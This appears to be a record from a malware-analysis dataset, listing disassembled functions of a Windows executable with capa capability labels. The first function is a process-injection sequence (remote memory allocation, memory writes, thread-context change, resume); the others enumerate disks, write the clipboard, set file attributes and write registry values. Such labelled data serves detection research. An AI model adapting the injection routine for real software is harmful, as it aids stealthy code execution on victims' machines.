joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4030f8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f0
push dword [ebp + 0x24]
and dword [ebp - 0x18], 0
push dword [ebp + 0x1c]
lea eax, [ebp - 0x20]
push dword [ebp + 0x18]
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402f34
add esp, 0x18
test eax, eax
je 0x4032aa
mov eax, dword [ebp - 0x20]
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 0xc]
cmp dword [ebx + 0x1c], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
mov edi, 0x3000
jne 0x403168
mov ecx, dword [ebp - 0x1c]
cmp dword [ebp + 0x14], ecx
ja 0x403168
lea edx, [ebp - 0x24]
push edx
push 0x40
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x40319c
push 0x401830
push 0x40181c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
test eax, eax
jne 0x40319c
push 0x40
push edi
push dword [ebp + 0x14]
push dword [ebx + 0x1c]
push dword [ebp - 0x14]
call esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4031e2
push ebx
call fcn.0040306e
add esp, 4
test eax, eax
je 0x40328c
push 0x40
push edi
push dword [ebp + 0x14]
push 0
push dword [ebp - 0x14]
call esi
test eax, eax
mov dword [ebp - 4], eax
je 0x40328c
push eax
push dword [ebp + 0x10]
push ebx
call fcn.0040308b
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x40328c
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x24]
push eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x24c]
add eax, 8
push eax
push dword [ebp - 0x14]
call esi
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 4]
xor edi, edi
push edi
push dword [ebp + 0x14]
mov dword [eax + edx + 0x34], ecx
push edx
push dword [ebp - 4]
push dword [ebp - 0x14]
call esi
test eax, eax
je 0x403289
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x20]
mov dword [ebp - 0x2f0], 0x10007
jne 0x403244
mov eax, dword [ebx + 0x10]
add eax, dword [ebx + 0x1c]
mov dword [ebp - 0x240], eax
jmp 0x40324f
mov ecx, dword [ebx + 0x10]
add ecx, eax
mov dword [ebp - 0x240], ecx
lea eax, [ebp - 0x2f0]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x403297
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jbe 0x403297
cmp dword [ebp + 0x20], edi
je 0x403280
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x18], 1
jmp 0x403297
push edi
jmp 0x40328e
push 0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0x18]
leave
ret
Function at 0x4032af
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
and dword [ebp - 4], 0
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00402d38
mov ebx, dword [ebp - 8]
add esp, 0x18
test eax, eax
je 0x403360
push esi
push edi
push ebx
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00402e07
add esp, 0xc
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x40335e
push esi
push ebx
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call fcn.00402e7d
add esp, 0x14
test eax, eax
je 0x40335e
xor eax, eax
cmp word [ebp - 0xfc], 3
sete al
push eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x140]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push esi
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.004030f8
add esp, 0x20
mov dword [ebp - 4], eax
pop edi
pop esi
test ebx, ebx
je 0x40336b
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x403371
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
cmp dword [ebp + 0x10], 0
jne 0x4033ad
cmp dword [ebp + 0xc], 0
mov cl, 0x14
je 0x4033a2
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
jmp 0x4033a8
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00412a10
leave
ret

Function at 0x403582
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
xor eax, eax
cmp dword [ebp + 8], esi
je 0x403600
push ebx
push edi
push dword [ebp + 8]
mov word [ebp - 0x10], si
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebx, eax
cmp ebx, 3
jne 0x4035fc
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push 0x401878
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push esi
push esi
push ebx
push esi
push ebx
push SysReAllocString
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
je 0x4035fc
cmp edi, 0xffffffff
je 0x4035fc
push 1
push edi
call fcn.00403441
test eax, eax
pop ecx
pop ecx
je 0x4035f5
push 2
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop ebx
pop esi
leave
ret

Function at 0x40376a
Capabilities:
Get disk information

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ecx, dword [esp + 4]
xor edx, edx
add ecx, 0xffffffbf
inc edx
shl edx, cl
and eax, edx
ret
Function at 0x40377f
Capabilities:
Get disk information

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x56
mov edx, eax
pop eax
push esi
xor esi, esi
inc esi
lea ecx, [eax - 0x41]
shl esi, cl
test edx, esi
je 0x4037bb
add eax, 0xffff
cmp ax, 0x43
jae 0x40378b
push 0x57
pop eax
xor esi, esi
inc esi
lea ecx, [eax - 0x41]
shl esi, cl
test edx, esi
je 0x4037bb
inc eax
cmp ax, 0x5a
jbe 0x4037a5
xor ax, ax
pop esi
ret

Function at 0x403998
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x218]
push 0x401890
push eax
or ebx, 0xffffffff
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
xor esi, esi
push esi
push 0x80
push 3
push esi
push 3
push SysReAllocString
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
je 0x403a0e
cmp edi, ebx
je 0x403a0e
push esi
lea eax, [ebp - 4]
push eax
push 0xc
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push 0x2d1080
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x403a15
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push dword [ebp + 8]
call fcn.004038b4
cmp ax, word [ebp + 0xc]
pop ecx
jb 0x403abf
push edi
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
and word [ebp - 8], 0
xor eax, eax
lea edi, [ebp - 6]
stosd dword es:[edi], eax
xor esi, esi
cmp word [ebp - 0x210], si
stosw word es:[edi], ax
pop edi
je 0x403abf
lea eax, [ebp - 0x210]
movzx eax, word [eax]
cmp ax, 0x41
je 0x403aac
cmp ax, 0x42
je 0x403aac
movzx eax, ax
push eax
lea eax, [ebp - 8]
push 0x4018a0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 8]
push eax
call fcn.00403923
movzx ecx, word [ebp + 0xc]
add esp, 0x10
cmp eax, ecx
jne 0x403aac
lea eax, [ebp - 8]
push eax
call fcn.00403998
pop ecx
movzx ecx, word [ebp + 8]
cmp eax, ecx
je 0x403ac5
add esi, 4
movzx eax, si
lea eax, [ebp + eax*2 - 0x210]
cmp word [eax], 0
jne 0x403a64
xor ax, ax
pop esi
leave
ret
movzx eax, si
mov ax, word [ebp + eax*2 - 0x210]
jmp 0x403ac2
Function at 0x403b3a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403a15
test ax, ax
pop ecx
pop ecx
jne 0x403bd1
and word [ebp - 8], ax
and word [ebp - 4], ax
push esi
mov esi, dword [ebp + 0x10]
cmp si, 0x5a
mov word [ebp - 6], 0x3a
ja 0x403b73
cmp si, 0x42
jae 0x403b75
xor esi, esi
test si, si
je 0x403b8b
push esi
call fcn.0040376a
test eax, eax
pop ecx
jne 0x403b8b
mov word [ebp - 8], si
jmp 0x403b94
call fcn.0040377f
mov word [ebp - 8], ax
movzx eax, word [ebp + 0xc]
push eax
movzx eax, word [ebp + 8]
push eax
lea eax, [ebp - 0x210]
push 0x4018b0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
test eax, eax
pop esi
je 0x403bd1
mov ax, word [ebp - 8]
leave
ret
xor ax, ax
leave
ret

Function at 0x404304
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x404636
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push 0x40
lea eax, [ebp - 0x40]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x40], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp dword [ebp + 8], 0
mov eax, dword [ebp - 0x30]
jne 0x404669
mov eax, dword [ebp - 0x38]
shr eax, 0x14
leave
ret

Function at 0x404682
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [0x416fb4], esi
mov dword [ebp - 4], esi
jne 0x4046cf
push edi
mov ecx, esi
push 8
shl ecx, 0x18
xor edx, edx
pop edi
mov eax, edx
xor eax, ecx
add edx, edx
test eax, eax
jns 0x4046af
xor edx, 0x4c10db7
add ecx, ecx
dec edi
jne 0x40469f
mov dword [esi*4 + 0x416bb0], edx
inc esi
cmp esi, 0x100
jl 0x404695
mov dword [0x416fb4], 0x4c10db7
pop edi
mov edx, dword [ebp + 0xc]
test edx, edx
jbe 0x4046f8
mov ecx, dword [ebp + 8]
movzx esi, byte [ecx]
mov eax, dword [ebp - 4]
shr eax, 0x18
xor eax, esi
mov esi, dword [ebp - 4]
shl esi, 8
xor esi, dword [eax*4 + 0x416bb0]
inc ecx
dec edx
mov dword [ebp - 4], esi
jne 0x4046d9
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x4046fe
Capabilities:
Encode data using xor

Disassembly:
push ebx
xor edx, edx
cmp dword [0x4173bc], edx
push esi
push edi
jne 0x40474e
mov esi, 0x416fb8
xor eax, eax
mov ah, dl
push 8
pop edi
movzx ecx, ax
xor eax, eax
mov ebx, ecx
xor ebx, eax
add eax, eax
test bx, bx
jns 0x40472f
xor eax, 0x8005
movzx eax, ax
add ecx, ecx
dec edi
jne 0x40471c
movzx eax, ax
mov dword [esi], eax
inc edx
add esi, 4
cmp dx, 0x100
jb 0x404710
mov dword [0x4173bc], 0x8005
mov esi, dword [esp + 0x14]
xor eax, eax
test esi, esi
jbe 0x40477a
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
xor ebx, ebx
movzx edx, ax
mov bh, al
shr edx, 8
xor edx, edi
xor bx, word [edx*4 + 0x416fb8]
inc ecx
dec esi
movzx eax, bx
jne 0x40475c
pop edi
pop esi
pop ebx
ret
Function at 0x404941
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push edi
push 0x400
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call fcn.00402b1a
add esp, 0xc
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
mov edi, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
mov esi, eax
test esi, esi
je 0x4049df
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x4049d9
push ebx
lea ebx, [edi + 1]
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x4049d8
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4049d1
push ebx
lea ecx, [ebp - 0x400]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov esi, eax
neg esi
sbb esi, esi
neg esi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop ebx
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x404a29
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push edi
push dword [ebp + 8]
xor edi, edi
call fcn.004043ee
test eax, eax
pop ecx
je 0x404aa2
push esi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x404a98
lea eax, [ebp - 0x22c]
push eax
push esi
mov dword [ebp - 0x22c], 0x22c
call sub.KERNEL32.dll_Process32FirstW
jmp 0x404a8c
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x404a92
lea eax, [ebp - 0x22c]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x404a6b
jmp 0x404a98
mov edi, dword [ebp - 0x224]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
jmp 0x404ab1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.004049e5
pop ecx
mov edi, eax
mov eax, edi
pop edi
leave
ret

Function at 0x404ab6
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x2c
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_StrChrW]
mov esi, eax
test esi, esi
je 0x404ada
and word [esi], 0
inc esi
inc esi
push esi
call dword [sym.imp.USER32.dll_CharUpperW]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
movzx ecx, word [esi]
test cx, cx
mov edi, eax
mov dword [ebp - 4], edi
je 0x404b5a
push ebx
cmp cx, 0x2b
sete al
inc esi
inc esi
movzx ecx, word [esi]
xor edx, edx
cmp cx, 0x41
sete dl
xor ebx, ebx
cmp cx, 0x53
sete bl
lea edx, [ebx + edx*8]
xor ebx, ebx
cmp cx, 0x48
sete bl
lea edx, [ebx + edx*2]
xor ebx, ebx
cmp cx, 0x52
sete bl
lea ecx, [ebx + edx*2]
test ecx, ecx
je 0x404b38
test al, al
je 0x404b36
or edi, ecx
jmp 0x404b38
and edi, ecx
inc esi
inc esi
movzx ecx, word [esi]
test cx, cx
jne 0x404af1
cmp dword [ebp - 4], edi
pop ebx
je 0x404b5a
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
inc eax
neg eax
sbb eax, eax
inc eax
jmp 0x404b5c
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x404bd8
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x86c
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x86c]
push 0x401a24
push eax
xor edi, edi
xor ebx, ebx
call esi
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x86c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x404cbc
test eax, eax
jbe 0x404cbc
test byte [ebp - 0x254], 0x10
je 0x404c8a
lea eax, [ebp - 0x228]
push eax
call fcn.00404b60
test eax, eax
pop ecx
jne 0x404c9b
and word [ebp - 0x45c], ax
push 0x206
push eax
lea eax, [ebp - 0x45a]
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x228]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x45c]
push 0x401a18
push eax
call esi
lea eax, [ebp - 0x45c]
push eax
call fcn.00404bd8
add esp, 0x20
add edi, eax
adc ebx, edx
jmp 0x404c9b
mov eax, dword [ebp - 0x234]
sub eax, dword [ebp - 0x238]
add edi, eax
adc ebx, 0
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404c2a
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
leave
ret

Function at 0x404cc5
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push dword [ebp + 8]
call fcn.00404444
push dword [ebp + 8]
call fcn.004043ee
test eax, eax
pop ecx
pop ecx
je 0x404de6
push 0x3d
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_StrChrW]
xor esi, esi
cmp eax, esi
je 0x404de6
push ebx
mov word [eax], si
add eax, 2
push edi
push eax
call fcn.004043d0
mov edi, eax
mov dword [esp], 0x40e
lea eax, [ebp - 0x40e]
push esi
push eax
mov word [ebp - 0x410], si
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 0xc
push edi
call esi
cmp eax, 1
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
jbe 0x404d47
cmp word [edi + 2], 0x3a
jne 0x404d4f
push edi
call esi
cmp eax, 2
jae 0x404d7a
push edi
call fcn.004043ee
test eax, eax
pop ecx
lea eax, [ebp - 0x410]
je 0x404d73
push edi
push 0x4152e0
push 0x401a18
push eax
call ebx
add esp, 0x10
jmp 0x404d88
push 0x4152e0
jmp 0x404d81
push edi
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x410]
push eax
call fcn.00404444
lea eax, [ebp - 0x410]
push eax
call fcn.00402cb4
pop ecx
test eax, eax
pop ecx
lea eax, [ebp - 0x410]
push eax
je 0x404db4
call fcn.00404bd8
jmp 0x404db9
call fcn.00404b8e
pop ecx
push edx
push eax
lea eax, [ebp - 0x410]
push 0x401848
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x410]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
neg eax
sbb eax, eax
pop edi
inc eax
pop ebx
jmp 0x404df1
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x405202
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.00412b10
push ebx
push esi
push edi
mov esi, 0xffe
xor edi, edi
push esi
lea eax, [ebp - 0x1ffe]
push edi
push eax
mov word [ebp - 0x2000], di
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xffe]
push edi
push eax
mov word [ebp - 0x1000], di
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0x18
push dword [ebp + 8]
lea eax, [ebp - 0x1000]
push eax
call esi
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 0x1000]
push eax
lea eax, [ebp - 0x2000]
push eax
call esi
push ebx
lea eax, [ebp - 0x1000]
push eax
lea eax, [ebp - 0x2000]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edi, eax
lea eax, [ebp - 0x1000]
push eax
lea eax, [ebp - 0x2000]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40529e
test edi, edi
jne 0x40525b
test edi, edi
je 0x4052b0
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 0xc]
call esi
jmp 0x4052c2
dec ebx
push ebx
lea eax, [ebp - 0x2000]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_StrCpyNW]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405318
Capabilities:
Create directory
Get common file path
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.00412b10
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
xor esi, esi
cmp word [edi], bx
jne 0x405427
cmp dword [ebp + 0x10], ebx
je 0x4054d4
and word [ebp - 0x1800], si
push 0xffe
lea eax, [ebp - 0x17fe]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 1
lea edi, [ebx + 0x401798]
push dword [edi]
lea eax, [ebp - 0x1800]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x405416
cmp dword [edi], 0x1a
jne 0x405396
push 0x401b50
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x800
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call fcn.00405202
lea eax, [ebp - 0x800]
push eax
push dword [ebx + 0x40179c]
lea eax, [ebp - 0x1800]
push 0x401b40
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
cmp byte [ebp + 0xc], 0
jne 0x405403
lea eax, [ebp - 0x800]
push eax
call fcn.00402cb4
test eax, eax
pop ecx
jne 0x405403
lea eax, [ebp - 0x800]
push eax
call fcn.00402cdc
pop ecx
push 0
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
lea eax, [ebp - 0x1800]
push 0
push eax
call fcn.00405318
add esp, 0xc
add ebx, 8
cmp ebx, 0x40
jb 0x405341
jmp 0x4054d9
mov bl, byte [ebp + 0xc]
cmp bl, 1
jne 0x40545d
push edi
push 0x401aa0
push 0x401a88
lea eax, [ebp - 0x800]
push 0x401b2c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x800]
push eax
call fcn.00404df4
add esp, 0x18
jmp 0x405493
cmp bl, 2
jne 0x405493
push edi
push 0x401aa0
push 0x401ad0
push 0x401a94
lea eax, [ebp - 0x800]
push 0x401ab8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x800]
push eax
call fcn.00404df4
add esp, 0x1c
push 0x3d
push edi
call dword [sym.imp.SHLWAPI.dll_StrChrW]
mov esi, eax
test esi, esi
je 0x4054bb
and word [esi], 0
add esi, 2
push esi
call fcn.004043d0
push edi
mov esi, eax
call fcn.004043d0
pop ecx
pop ecx
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov esi, eax
neg esi
sbb esi, esi
inc esi
cmp bl, 1
je 0x4054d4
cmp bl, 2
jne 0x4054d9
call fcn.004051c9
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4054e0
Capabilities:
Get disk information
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x4c4
push ebx
push esi
mov esi, dword [ebp + 0x74]
push edi
push esi
call fcn.00403582
cmp eax, 3
pop ecx
je 0x40550b
cmp eax, 2
je 0x40550b
cmp eax, 6
jne 0x405630
mov edi, 0x206
xor ebx, ebx
push edi
lea eax, [ebp - 0x456]
push ebx
push eax
mov word [ebp - 0x458], bx
call sub.MSVCRT.dll_memset
mov eax, dword [0x401bf8]
mov dword [ebp - 0x48], eax
mov eax, dword [0x401bfc]
push 0x98
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x40]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov ax, word [esi]
add esp, 0x18
mov word [ebp - 0x48], ax
push 0x104
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x48]
push eax
mov word [ebp - 0x42], bx
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
test eax, eax
je 0x405630
mov esi, 0x401be8
push esi
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
cmp eax, ebx
mov dword [ebp + 0x68], eax
je 0x405630
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp + 0x68]
lea eax, [ecx + eax*2]
push eax
mov dword [ebp + 0x68], eax
call fcn.00404444
pop ecx
lea eax, [ebp + 0x58]
push eax
push dword [ebp + 0x68]
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jl 0x405630
push edi
lea eax, [ebp - 0x24e]
push ebx
push eax
mov word [ebp - 0x250], bx
call sub.MSVCRT.dll_memset
push dword [ebp + 0x68]
lea eax, [ebp - 0x250]
push esi
push dword [ebp + 0x7c]
push 0x401bd8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
xor eax, eax
cmp dword [ebp + 0x78], ebx
push 4
sete al
pop ebx
push ebx
mov edi, SysReAllocString
mov dword [ebp + 0x68], eax
lea eax, [ebp + 0x78]
push eax
push ebx
push 0x401bc0
lea eax, [ebp - 0x250]
push eax
push edi
call esi
push ebx
lea eax, [ebp + 0x68]
push eax
push ebx
push 0x401ba4
lea eax, [ebp - 0x250]
push eax
push edi
call esi
xor eax, eax
jmp 0x405633
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
add ebp, 0x6c
leave
ret